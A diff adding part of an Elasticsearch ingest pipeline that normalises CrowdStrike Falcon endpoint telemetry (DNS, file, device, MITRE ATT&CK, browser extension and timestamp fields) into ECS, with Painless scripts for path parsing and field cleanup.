+      value: '{{{url.scheme}}}://{{{server.address}}}{{{url.path}}}'
+  - uri_parts:
+      tag: uri_parts_url_full_443b4650
+      if: ctx.url?.full != null
+      field: url.full
+  - registered_domain:
+      tag: registered_domain_url_domain_into_url_78008ed6
+      field: url.domain
+      target_field: url
+      ignore_missing: true
+      ignore_failure: true
+
+  # IP Geolocation Lookup.
+  - geoip:
+      tag: geoip_observer_ip_into_observer_geo_0729ba64
+      field: observer.ip
+      target_field: observer.geo
+      ignore_missing: true
+  - geoip:
+      tag: geoip_source_ip_into_source_geo_fcc86651
+      field: source.ip
+      target_field: source.geo
+      first_only: true
+      ignore_missing: true
+  - geoip:
+      tag: geoip_destination_ip_into_destination_geo_ab5e2968
+      field: destination.ip
+      target_field: destination.geo
+      ignore_missing: true
+
+  # IP Autonomous System (AS) Lookup
+  - geoip:
+      tag: geoip_source_ip_into_source_as_56e63fbc
+      field: source.ip
+      target_field: source.as
+      database_file: GeoLite2-ASN.mmdb
+      first_only: true
+      properties:
+        - asn
+        - organization_name
+      ignore_missing: true
+  - rename:
+      tag: rename_source_as_asn_to_source_as_number_a917047d
+      field: source.as.asn
+      target_field: source.as.number
+      ignore_missing: true
+  - rename:
+      tag: rename_source_as_organization_name_to_source_as_organization_name_f1362d0b
+      field: source.as.organization_name
+      target_field: source.as.organization.name
+      ignore_missing: true
+  - geoip:
+      tag: geoip_destination_ip_into_destination_as_8a007787
+      field: destination.ip
+      target_field: destination.as
+      database_file: GeoLite2-ASN.mmdb
+      properties:
+        - asn
+        - organization_name
+      ignore_missing: true
+  - rename:
+      tag: rename_destination_as_asn_to_destination_as_number_3b459fcd
+      field: destination.as.asn
+      target_field: destination.as.number
+      ignore_missing: true
+  - rename:
+      tag: rename_destination_as_organization_name_to_destination_as_organization_name_814bd459
+      field: destination.as.organization_name
+      target_field: destination.as.organization.name
+      ignore_missing: true
+
+  # DNS fields.
+  - set:
+      tag: set_dns_type_2198a4ce
+      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
+      field: dns.type
+      value: query
+  - set:
+      tag: set_network_protocol_6995faae
+      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
+      field: network.protocol
+      value: dns
+  - registered_domain:
+      tag: registered_domain_crowdstrike_DomainName_into_dns_question_8498515b
+      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
+      field: crowdstrike.DomainName
+      target_field: dns.question
+      ignore_missing: true
+  - rename:
+      tag: rename_dns_question_domain_to_dns_question_name_699a0f98
+      if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest")
+      field: dns.question.domain
+      target_field: dns.question.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_DomainName_to_dns_question_name_5cc610bf
+      if: ctx.event?.action != null && ctx.dns?.question?.name == null && ctx.event.action.contains("DnsRequest")
+      field: crowdstrike.DomainName
+      target_field: dns.question.name
+      ignore_missing: true
+  - script:
+      description: Map decimal DNS request type to its name.
+      tag: dns_request_type_to_name_d668973b
+      if: ctx.event?.action != null && ctx.crowdstrike?.RequestType != null && !ctx.crowdstrike.RequestType.isEmpty() && ctx.event.action.contains("DnsRequest")
+      params:
+        "1": A
+        "2": NS
+        "5": CNAME
+        "6": SOA
+        "12": PTR
+        "13": HINFO
+        "15": MX
+        "16": TXT
+        "17": RP
+        "18": AFSDB
+        "24": SIG
+        "25": KEY
+        "28": AAAA
+        "29": LOC
+        "33": SRV
+        "35": NAPTR
+        "36": KX
+        "37": CERT
+        "39": DNAME
+        "42": APL
+        "43": DS
+        "44": SSHFP
+        "45": IPSECKEY
+        "46": RRSIG
+        "47": NSEC
+        "48": DNSKEY
+        "49": DHCID
+        "50": NSEC3
+        "51": NSEC3PARAM
+        "52": TLSA
+        "53": SMIMEA
+        "55": HIP
+        "59": CDS
+        "60": CDNSKEY
+        "61": OPENPGPKEY
+        "62": CSYNC
+        "63": ZONEMD
+        "64": SVCB
+        "65": HTTPS
+        "108": EUI48
+        "109": EUI64
+        "249": TKEY
+        "250": TSIG
+        "256": URI
+        "257": CAA
+        "32768": TA
+        "32769": DLV
+      source: |-
+        def t = params[ctx.crowdstrike.RequestType];
+        if (t != null) {
+          if (ctx.dns?.question == null) {
+            ctx.dns.question = new HashMap();
+          }
+          ctx.dns.question.type = t;
+          ctx.crowdstrike.remove("RequestType");
+        }
+
+  # SMB fields.
+  - registered_domain:
+      tag: registered_domain_crowdstrike_DomainName_into_destination_d257bdc5
+      if: ctx.event?.action != null && ctx.event.action.contains("SmbServerShareOpenedEtw")
+      field: crowdstrike.DomainName
+      target_field: destination
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_DomainName_to_destination_domain_ce83b813
+      if: ctx.event?.action != null && ctx.destination?.domain == null && ctx.event.action.contains("SmbServerShareOpenedEtw")
+      field: crowdstrike.DomainName
+      target_field: destination.domain
+      ignore_missing: true
+
+  # File fields.
+  - set:
+      tag: set_file_pe_original_file_name_18b6c509
+      if: ctx._temp?.isFile == true && ctx.host?.os?.type == 'windows'
+      field: file.pe.original_file_name
+      copy_from: crowdstrike.OriginalFilename
+      ignore_empty_value: true
+  - convert:
+      tag: convert_crowdstrike_Size_to_long_e1288c18
+      field: crowdstrike.Size
+      type: long
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_Size_to_file_size_ff917179
+      field: crowdstrike.Size
+      target_field: file.size
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_FileIdentifier_to_file_inode_0a17a91b
+      field: crowdstrike.FileIdentifier
+      target_field: file.inode
+      ignore_missing: true
+  - set:
+      tag: set_file_Ext_original_path_9b97db2e
+      if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo'
+      field: file.Ext.original.path
+      copy_from: crowdstrike.SourceFileName
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_SourceFileName_to_file_path_2d976c16
+      field: crowdstrike.SourceFileName
+      target_field: file.path
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_TargetFileName_to_file_path_069dcf4c
+      if: ctx.file?.path == null
+      field: crowdstrike.TargetFileName
+      target_field: file.path
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      tag: set_file_path_4a274218
+      if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo'
+      field: file.path
+      copy_from: crowdstrike.TargetFileName
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_DiskParentDeviceInstanceId_to_file_device_f0e46ae0
+      field: crowdstrike.DiskParentDeviceInstanceId
+      target_field: file.device
+      ignore_missing: true
+  - set:
+      tag: set_file_type_f7adee81
+      if: ctx.file?.path != null && ctx.file.type == null && ctx.event?.action != null && !ctx.event.action.contains("Directory")
+      field: file.type
+      value: file
+  - set:
+      tag: set_file_type_d001ae21
+      if: ctx.file?.path != null && ctx.event?.action != null && (ctx.event.action.contains("Directory") || ctx.file.path.endsWith("\\") || ctx.file.path.endsWith("/"))
+      field: file.type
+      value: dir
+  - script:
+      description: Adds file information.
+      tag: parse_file_path_387a3a29
+      if: ctx.file?.path != null && ctx.file.path.length() > 1
+      source: |-
+        def removeSuffix(String s, String suffix) {
+          if (s != null && suffix != null && s.endsWith(suffix)) {
+            return s.substring(0, s.length() - suffix.length());
+          }
+          return s;
+        }
+
+        def path = removeSuffix(ctx.file.path, "/");
+        path = removeSuffix(path, "\\");
+        def idx = path.lastIndexOf("\\");
+        if (idx == -1) {
+          idx = path.lastIndexOf("/");
+        }
+        if (idx > -1) {
+          if (ctx.file == null) {
+              ctx.file = new HashMap();
+          }
+          ctx.file.name = path.substring(idx+1);
+          ctx.file.directory = path.substring(0, idx);
+
+          def extIdx = ctx.file.name.lastIndexOf(".");
+          if (extIdx > -1 && ctx.file.type == "file") {
+            ctx.file.extension = ctx.file.name.substring(extIdx+1);
+          }
+        }
+        if (path.indexOf(':') == 1) {
+          ctx.file.drive_letter = path.substring(0, 1).toUpperCase();
+        }
+  - script:
+      description: Adds file.Ext.original.* information.
+      tag: parse_file_ext_original_path_3333a0b6
+      if: ctx.file?.Ext?.original?.path != null && ctx.file.Ext.original.path.length() > 1
+      source: |-
+        def removeSuffix(String s, String suffix) {
+          if (s != null && suffix != null && s.endsWith(suffix)) {
+            return s.substring(0, s.length() - suffix.length());
+          }
+          return s;
+        }
+
+        def path = removeSuffix(ctx.file.Ext.original.path, "/");
+        path = removeSuffix(path, "\\");
+        def idx = path.lastIndexOf("\\");
+        if (idx == -1) {
+          idx = path.lastIndexOf("/");
+        }
+        if (idx > -1) {
+          ctx.file.Ext.original.name = path.substring(idx+1);
+        }
+  - rename:
+      tag: rename__temp_hashes_to_file_hash_4f3ee7d5
+      if: ctx.event?.action != null && (ctx.event.action.contains("File") || ctx.event.action.contains("Directory") || ctx.event.action.contains("Executable")) && ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0
+      field: _temp.hashes
+      target_field: file.hash
+  - set:
+      tag: set_process_name_e2490a66
+      if: ctx.event?.action != null && ctx.event.action.endsWith('Written')
+      field: process.name
+      copy_from: crowdstrike.ContextBaseFileName
+      ignore_empty_value: true
+  - set:
+      tag: set_process_executable_f5f831a3
+      if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows'
+      field: process.executable
+      copy_from: crowdstrike.ContextImageFileName
+      ignore_empty_value: true
+  - set:
+      tag: set_file_hash_sha256_1abd2cde
+      if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'linux'
+      field: file.hash.sha256
+      copy_from: crowdstrike.SHA256HashData
+      ignore_empty_value: true
+  - set:
+      tag: set_event_action_526984f8
+      if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows'
+      field: event.action
+      value: creation
+
+  # Device Fields.
+  - set:
+      tag: set_device_id_from_crowdstrike_SensorId_99cb3a0a
+      field: device.id
+      copy_from: crowdstrike.SensorId
+      ignore_empty_value: true
+  - set:
+      tag: set_device_id_from_crowdstrike_DeviceId_d95e3c57
+      if: ctx.device?.id == null
+      field: device.id
+      copy_from: crowdstrike.DeviceId
+      ignore_empty_value: true
+  - set:
+      tag: set_device_id_from_observer_serial_number_d165cc83
+      if: ctx.device?.id == null
+      field: device.id
+      copy_from: observer.serial_number
+      ignore_empty_value: true
+
+  # Threat Fields.
+  - foreach:
+      tag: foreach_of_crowdstrike_Attacks_with_Technique_345d0faa
+      if: ctx.crowdstrike?.Attacks instanceof List
+      field: crowdstrike.Attacks
+      processor:
+        append:
+          tag: append_threat_technique_name_bbf3ed48
+          field: threat.technique.name
+          value: '{{{_ingest._value.Technique}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_Attacks_with_Tactic_345d0faa
+      if: ctx.crowdstrike?.Attacks instanceof List
+      field: crowdstrike.Attacks
+      processor:
+        append:
+          tag: append_threat_tactic_name_9aebe2d8
+          field: threat.tactic.name
+          value: '{{{_ingest._value.Tactic}}}'
+          allow_duplicates: false
+
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_threat_tactic_name_b021c3ec
+          field: threat.tactic.name
+          value: '{{{_ingest._value.Tactic}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_threat_tactic_id_4d499747
+          field: threat.tactic.id
+          value: '{{{_ingest._value.TacticID}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_threat_technique_name_af6387ac
+          field: threat.technique.name
+          value: '{{{_ingest._value.Technique}}}'
+          allow_duplicates: false
+  - foreach:
+      tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de
+      if: ctx.crowdstrike?.MitreAttack instanceof List
+      field: crowdstrike.MitreAttack
+      processor:
+        append:
+          tag: append_threat_technique_id_70f7c093
+          field: threat.technique.id
+          value: '{{{_ingest._value.TechniqueID}}}'
+          allow_duplicates: false
+
+  # Package fields.
+  - script:
+      tag: set_browser_extension_architecture_value_8a719036
+      if: ctx.crowdstrike?.BrowserExtensionArchitecture != null
+      params:
+        "0": UNKNOWN
+        "1": MANIFEST_V2
+        "2": MANIFEST_V3
+        "3": SAFARI_APP
+      source: |-
+        ctx.package = ctx.package ?: [:];
+        ctx.package.architecture = params[ctx.crowdstrike.BrowserExtensionArchitecture];
+  - rename:
+      tag: rename_crowdstrike_BrowserExtensionInstalledTimestamp_to_package_installed_ae5bafc8
+      field: crowdstrike.BrowserExtensionInstalledTimestamp
+      target_field: package.installed
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_BrowserExtensionName_to_package_name_d5505948
+      field: crowdstrike.BrowserExtensionName
+      target_field: package.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_BrowserExtensionPath_to_package_path_647267b0
+      field: crowdstrike.BrowserExtensionPath
+      target_field: package.path
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_BrowserExtensionVersion_to_package_version_ba30a7f2
+      field: crowdstrike.BrowserExtensionVersion
+      target_field: package.version
+      ignore_missing: true
+
+  # Crowdstrike fields.
+  - split:
+      tag: split_crowdstrike_ContextProcessTagsAsString_e39a5350
+      field: crowdstrike.ContextProcessTagsAsString
+      separator: ','
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_PatternIdList_6b5d8159
+      field: crowdstrike.PatternIdList
+      separator: ','
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_ParentProcessPatternIdList_64341668
+      field: crowdstrike.ParentProcessPatternIdList
+      separator: ','
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_GrandparentProcessPatternIdList_f5f8d60e
+      field: crowdstrike.GrandparentProcessPatternIdList
+      separator: ','
+      ignore_missing: true
+  - script:
+      tag: set_browser_extension_install_method_value_ac2ab447
+      if: ctx.crowdstrike?.BrowserExtensionInstallMethod != null
+      params:
+        "0": UNIDENTIFIED
+        "1": BROWSER
+        "2": WEBSTORE
+        "3": GPO
+        "4": SIDELOADED
+        "5": WEBSTORE_3RD_PARTY
+      source: ctx.crowdstrike.BrowserExtensionInstallMethod = params[ctx.crowdstrike.BrowserExtensionInstallMethod];
+  - split:
+      tag: split_crowdstrike_FalconGroupingTags_423c786c
+      field: crowdstrike.FalconGroupingTags
+      separator: ',\s?'
+      ignore_missing: true
+      ignore_failure: true
+  - split:
+      tag: split_crowdstrike_SensorGroupingTags_ed3b4811
+      field: crowdstrike.SensorGroupingTags
+      separator: ',\s?'
+      ignore_missing: true
+      ignore_failure: true
+  - script:
+      description: Convert tags for indexing as keyword.
+      tag: convert_tags_789cbb4f
+      if: ctx.crowdstrike?.Tags != null
+      source: |-
+        def result = [];
+
+        if (ctx.crowdstrike.Tags instanceof String) {
+          def parts = ctx.crowdstrike.Tags.splitOnToken(",");
+          for (def part : parts) {
+            def trimmed = part.trim();
+            if (trimmed != "") {
+              result.add(trimmed);
+            }
+          }
+        } else if (ctx.crowdstrike.Tags instanceof Map) {
+          for (def entry : ctx.crowdstrike.Tags.entrySet()) {
+            result.add(entry.getKey() + ":" + entry.getValue());
+          }
+        } else if (ctx.crowdstrike.Tags instanceof List) {
+          for (def tag : ctx.crowdstrike.Tags) {
+            if (tag instanceof Map) {
+              // this format is seen in the falcon data stream
+              result.add(tag["Key"] + ":" + tag["ValueString"]);
+            } else if (tag instanceof String) {
+              // this isn't expected but avoid throwing away indexable data
+              result.add(tag);
+            }
+          }
+        }
+
+        ctx.crowdstrike.Tags = result;
+  - split:
+      tag: split_crowdstrike_CallStackModuleNames_609f3d51
+      field: crowdstrike.CallStackModuleNames
+      separator: \|
+      ignore_missing: true
+      ignore_failure: true
+  - convert:
+      tag: convert_crowdstrike_UserTime_to_long_f085b7ec
+      field: crowdstrike.UserTime
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_KernelTime_to_long_33fe5662
+      field: crowdstrike.KernelTime
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_CycleTime_to_long_7a83e985
+      field: crowdstrike.CycleTime
+      type: long
+      ignore_missing: true
+  - append:
+      tag: append_related_hash_8fcac57a
+      if: ctx.crowdstrike?.ConfigStateHash != null && ctx.crowdstrike.ConfigStateHash != ""
+      field: related.hash
+      value: '{{{crowdstrike.ConfigStateHash}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - trim:
+      tag: trim_crowdstrike_BootArgs_f8d8d2c8
+      field: crowdstrike.BootArgs
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_BootArgs_cf296683
+      field: crowdstrike.BootArgs
+      separator: \s+
+      ignore_missing: true
+  - date:
+      tag: date_crowdstrike_LogonTime_into_crowdstrike_LogonTime_c8a2b6df
+      if: ctx.crowdstrike?.LogonTime != null && ctx.crowdstrike.LogonTime != '' && ctx.crowdstrike.LogonTime != 'none'
+      field: crowdstrike.LogonTime
+      target_field: crowdstrike.LogonTime
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_LogoffTime_into_crowdstrike_LogoffTime_1382cc79
+      if: ctx.crowdstrike?.LogoffTime != null && ctx.crowdstrike.LogoffTime != '' && ctx.crowdstrike.LogoffTime != 'none'
+      field: crowdstrike.LogoffTime
+      target_field: crowdstrike.LogoffTime
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_ConnectTime_into_crowdstrike_ConnectTime_c13b62a8
+      if: ctx.crowdstrike?.ConnectTime != null && ctx.crowdstrike.ConnectTime != '' && ctx.crowdstrike.ConnectTime != 'none'
+      field: crowdstrike.ConnectTime
+      target_field: crowdstrike.ConnectTime
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_PreviousConnectTime_into_crowdstrike_PreviousConnectTime_6679f281
+      if: ctx.crowdstrike?.PreviousConnectTime != null && ctx.crowdstrike.PreviousConnectTime != '' && ctx.crowdstrike.PreviousConnectTime != 'none'
+      field: crowdstrike.PreviousConnectTime
+      target_field: crowdstrike.PreviousConnectTime
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_AgentLocalTime_into_crowdstrike_AgentLocalTime_e869dd14
+      if: ctx.crowdstrike?.AgentLocalTime != null && ctx.crowdstrike.AgentLocalTime != '' && ctx.crowdstrike.AgentLocalTime != 'none'
+      field: crowdstrike.AgentLocalTime
+      target_field: crowdstrike.AgentLocalTime
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_FirstSeen_into_crowdstrike_FirstSeen_f4b197de
+      if: ctx.crowdstrike?.FirstSeen != null && ctx.crowdstrike.FirstSeen != '' && ctx.crowdstrike.FirstSeen != 'none'
+      field: crowdstrike.FirstSeen
+      target_field: crowdstrike.FirstSeen
+      formats:
+        - UNIX
+      ignore_failure: true
+  - date:
+      tag: date_crowdstrike_BiosReleaseDate_into_crowdstrike_BiosReleaseDate_767fd760
+      if: ctx.crowdstrike?.BiosReleaseDate != null && ctx.crowdstrike.BiosReleaseDate != '' && ctx.crowdstrike.BiosReleaseDate != 'none'
+      field: crowdstrike.BiosReleaseDate
+      target_field: crowdstrike.BiosReleaseDate
+      formats:
+        - MM/dd/yyyy
+        - strict_date_optional_time
+      ignore_failure: true
+  - convert:
+      tag: convert_crowdstrike_AgentTimeOffset_to_float_75f59e63
+      field: crowdstrike.AgentTimeOffset
+      type: float
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_Timeout_to_long_2991d669
+      field: crowdstrike.Timeout
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_PhysicalAddressLength_to_long_6bb860dd
+      field: crowdstrike.PhysicalAddressLength
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_InterfaceIndex_to_long_fe55bcd9
+      field: crowdstrike.InterfaceIndex
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_NetLuidIndex_to_long_9cf46a5f
+      field: crowdstrike.NetLuidIndex
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_AttemptNumber_to_long_8257d63c
+      field: crowdstrike.AttemptNumber
+      type: long
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_SystemTableIndex_to_long_386dfbbd
+      field: crowdstrike.SystemTableIndex
+      type: long
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_NeighborList_1d18434a
+      field: crowdstrike.NeighborList
+      separator: \|
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_ConfigStateData_e817cac5
+      field: crowdstrike.ConfigStateData
+      separator: \|
+      ignore_missing: true
+  - append:
+      tag: append_related_hosts_a0b784fd
+      if: ctx.crowdstrike?.LogonServer != null
+      field: related.hosts
+      value: '{{{crowdstrike.LogonServer}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_related_hosts_84a3b58d
+      if: ctx.crowdstrike?.ClientComputerName != null
+      field: related.hosts
+      value: '{{{crowdstrike.ClientComputerName}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_related_hosts_2d2dc803
+      if: ctx.crowdstrike?.info?.user?.LastLoggedOnHost != null
+      field: related.hosts
+      value: '{{{crowdstrike.info.user.LastLoggedOnHost}}}'
+      allow_duplicates: false
+
+  - script:
+      description: Remove long fields based on user input stored in _conf.long_fields*.
+      tag: script_remove_long_fields_90516c2a
+      if: ctx._conf?.long_fields == 'delete_long_fields' && ctx._conf?.long_fields_max_length != null
+      params:
+        potential_long_fields:
+          - DylibPath
+          - EnvironmentVariablesString
+          - TaskXml
+          - ScriptContentBytes
+          - RegBinaryValue
+          - ScriptContent
+          - FileContent
+          - VersionInfo
+          - OciContainerConfigImage
+          - OciContainerConfigLabels
+          - OciContainerConfigTty
+          - OciContainerEngineType
+          - OciContainerHostConfigOomKillDisable
+          - OciContainerHostConfigPrivileged
+          - OciContainerHostConfigPublishAllPorts
+          - OciContainerHostConfigReadOnlyRootfs
+          - OciContainerImageId
+          - OciContainerInfoRetransmitted
+          - OciContainerMounts
+          - OciContainerName
+          - OciContainerNetworkSettingsIpAddress
+          - OciContainerStateOOMKilled
+          - OciContainerStatePid
+          - OciContainerConfigUser
+          - OciContainerHostConfigCgroup
+          - DevicePropertyClassGuid
+          - DevicePropertyClassName
+          - DevicePropertyLocationInformation
+          - ConfigurationDescriptorName
+          - InstanceMetadata
+          - InstanceMetadataSignature
+          - OciContainerAppName
+          - OciContainerAppVersion
+          - ManagedPdbBuildPath
+          - RegStringValue
+          - InterfaceKind
+          - ScriptContentScanId
+          - EfiVariableCustomModeAttributes
+          - EfiVariableDbAttributes
+          - EfiVariableDbSha256Hash
+          - EfiVariableKekAttributes
+          - EfiVariableKekSha256Hash
+          - EfiVariablePkAttributes
+          - EfiVariablePkSha256Hash
+          - EfiVariableSecureBootAttributes
+          - EfiVariableSetupModeAttributes
+          - EfiVariableSignatureSupportAttributes
+          - ExtendedAttributeValue
+          - EfiVariableSetupMode
+          - EfiVariableSignatureSupport
+          - MmioDataSmiEn
+          - MmioDataTco1Cnt
+          - PciConfigDataBdsm
+          - PciConfigDataBiosCntl
+          - PciConfigDataGgc
+          - PciConfigDataHfsts1
+          - PciConfigDataRemapbase
+          - PciConfigDataRemaplimit
+          - PciConfigDataTom
+          - PciConfigDataTouud
+          - PciConfigDataTsegmb
+          - SpibarDataBfpr
+          - SpibarDataFreg0
+          - SpibarDataFreg1
+          - SpibarDataFreg2
+          - SpibarDataFreg3
+          - SpibarDataFreg4
+          - SpibarDataHsfs
+          - SpibarDataPr0
+          - SpibarDataPr1
+          - SpibarDataPr2
+          - SpibarDataPr3
+          - SpibarDataPr4
+          - SpibarDataVscc0
+          - SpibarDataVscc1
+          - VolumeSnapshotName
+          - MmioDataGenPmconB
+          - VolumeSnapshotTimeStamp
+          - OciContainerHostConfigDevices
+          - OciContainerPhase
+          - PatternIdList
+          - RPath
+          - VolumeOriginPath
+          - AccountDomain
+          - AccountObjectGuid
+          - AccountObjectSid
+          - DcNumAttachments
+          - DcNumBlockingPolicies
+          - ExtendedAttributeValueReadable
+          - FileVaultIsEnabled
+          - SamAccountName
+          - ServiceDependOnService
+          - ApplicationName
+          - BluetoothDeviceName
+          - BluetoothServiceUuid_1
+          - BluetoothServiceUuid_2
+          - BluetoothServiceUuid_3
+          - BluetoothServiceUuid_4
+          - BluetoothServiceUuid_5
+          - BluetoothVendorIdSource
+          - CommandCount
+          - CommandCountMax
+          - ConnectionAddressIP6
+          - FirstCommand
+          - LastAdded
+          - LastDisplayed
+          - ThreadStartBytes
+          - VolumeDeviceVendor
+          - BluetoothClassOfDeviceValue
+          - BluetoothServiceName_3
+          - BiosChanged
+          - BluetoothServiceUuid_6
+          - ChangedPcrBitmap
+          - ExecutableBytes
+          - ObjectNameEtw
+          - ObjectTypeEtw
+          - Pcr0
+          - Pcr1
+          - Pcr2
+          - Pcr3
+          - Pcr4
+          - Pcr5
+          - Pcr6
+          - Pcr7
+          - RpcOpClassification
+          - ServiceAccessPropertiesEtw
+          - ServiceDelayedAutoStart
+          - SubjectDomainNameEtw
+          - BluetoothDeviceAppearanceValue
+          - BluetoothDeviceModelNumber
+          - BluetoothServiceName_1
+          - BluetoothServiceName_4
+          - BluetoothServiceName_5
+          - BluetoothServiceName_6
+          - BluetoothServiceName_7
+          - BluetoothServiceName_8
+          - BluetoothServiceUuidArray
+          - BluetoothServiceUuid_7
+          - BluetoothServiceUuid_8
+          - ClientId
+          - HttpInternalSource
+          - HttpMethod
+          - HttpRequestHeader
+          - HttpUrl
+          - IndividualDiskInfo
+          - KeyObject
+          - LastPendingUpdateInstalledTime
+          - LaunchItemType
+          - LaunchItemUrl
+          - LdapSearchFilterSample
+          - MemoryAvailable
+          - OciContainersStartedCount
+          - OciContainersStoppedCount
+          - PciConfigDataGenPmconA
+          - PciConfigDataMesegBase
+          - PciConfigDataSmramc
+          - PendingUpdateIds
+          - ProcessAttributes
+          - QuarantinedFileExtendedState
+          - QuarantinedFileName
+          - QuarantinedFileState
+          - RegCreateDisposition
+          - RegCreateOptions
+          - RegPostObjectName
+          - RegRootObjectName
+          - SourceThreadModule
+          - StorageUsageInfo
+          - SystemProcessCount
+          - UninstallPendingUpdateIds
+      source: |-
+        for (String field: params.potential_long_fields) {
+          if (ctx.crowdstrike.get(field) != null && ctx.crowdstrike[field].length() > ctx._conf.long_fields_max_length) {
+            ctx.crowdstrike.remove(field);
+          }
+        }
+
+  # Cleanup.
+  - remove:
+      tag: remove_crowdstrike_event_platform_f15993d1
+      if: ctx.host?.os?.type != null
+      field:
+        - crowdstrike.event_platform
+      ignore_missing: true
+      ignore_failure: true
+  - remove:
+      tag: remove_142d62c1
+      if: ctx.aws?.s3?.bucket != null && ctx.aws.s3.object != null
+      field:
+        - log.file.path
+        - log.offset
+      ignore_missing: true
+      ignore_failure: true
+  - remove:
+      tag: remove_c559a4ef
+      if: ctx._conf?.prune_fields == true
+      field:
+        - agent.ephemeral_id
+        - event.timezone
+        - log.offset
+      ignore_missing: true
+      ignore_failure: true
+  - remove:
+      tag: remove_d684cf91
+      field:
+        - _temp
+        - crowdstrike.timestamp
+        - crowdstrike._time
+        - crowdstrike.Time
+        - crowdstrike.CreationTimeStamp
+        - crowdstrike.DomainName
+        - crowdstrike.ConnectionDirection
+        - crowdstrike.UserIsAdmin
+        - crowdstrike.UTCTimestamp
+        - crowdstrike.TargetDirectoryName
+        - crowdstrike.BrowserExtensionArchitecture
+        - crowdstrike.MitreAttack
+        - _conf
+      ignore_missing: true
+  - script:
+      description: This script processor iterates over the whole document to remove fields with null values.
+      tag: remove_nulls_0370f4ef
+      source: |-
+        void handleMap(Map map) {
+          map.values().removeIf(v -> {
+            if (v instanceof Map) {
+                handleMap(v);
+            } else if (v instanceof List) {
+                handleList(v);
+            }
+            return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0)
+          });
+        }
+        void handleList(List list) {
+          list.removeIf(v -> {
+            if (v instanceof Map) {
+                handleMap(v);
+            } else if (v instanceof List) {
+                handleList(v);
+            }
+            return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0)
+          });
+        }
+        handleMap(ctx);
+
+  # error handling
+  - set:
+      tag: set_pipeline_error_into_event_kind_92954dfa
+      if: ctx.error?.message != null
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_preserve_original_event_into_tags_9fe66b2c
+      if: ctx.error?.message != null
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+on_failure:
+  - set:
+      tag: set_event_kind_f51b77ad
+      field: event.kind
+      value: pipeline_error
+  - append:
+      tag: append_tags_d762b9c5
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+  - append:
+      tag: append_error_message_e0c9bd63
+      field: error.message
+      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
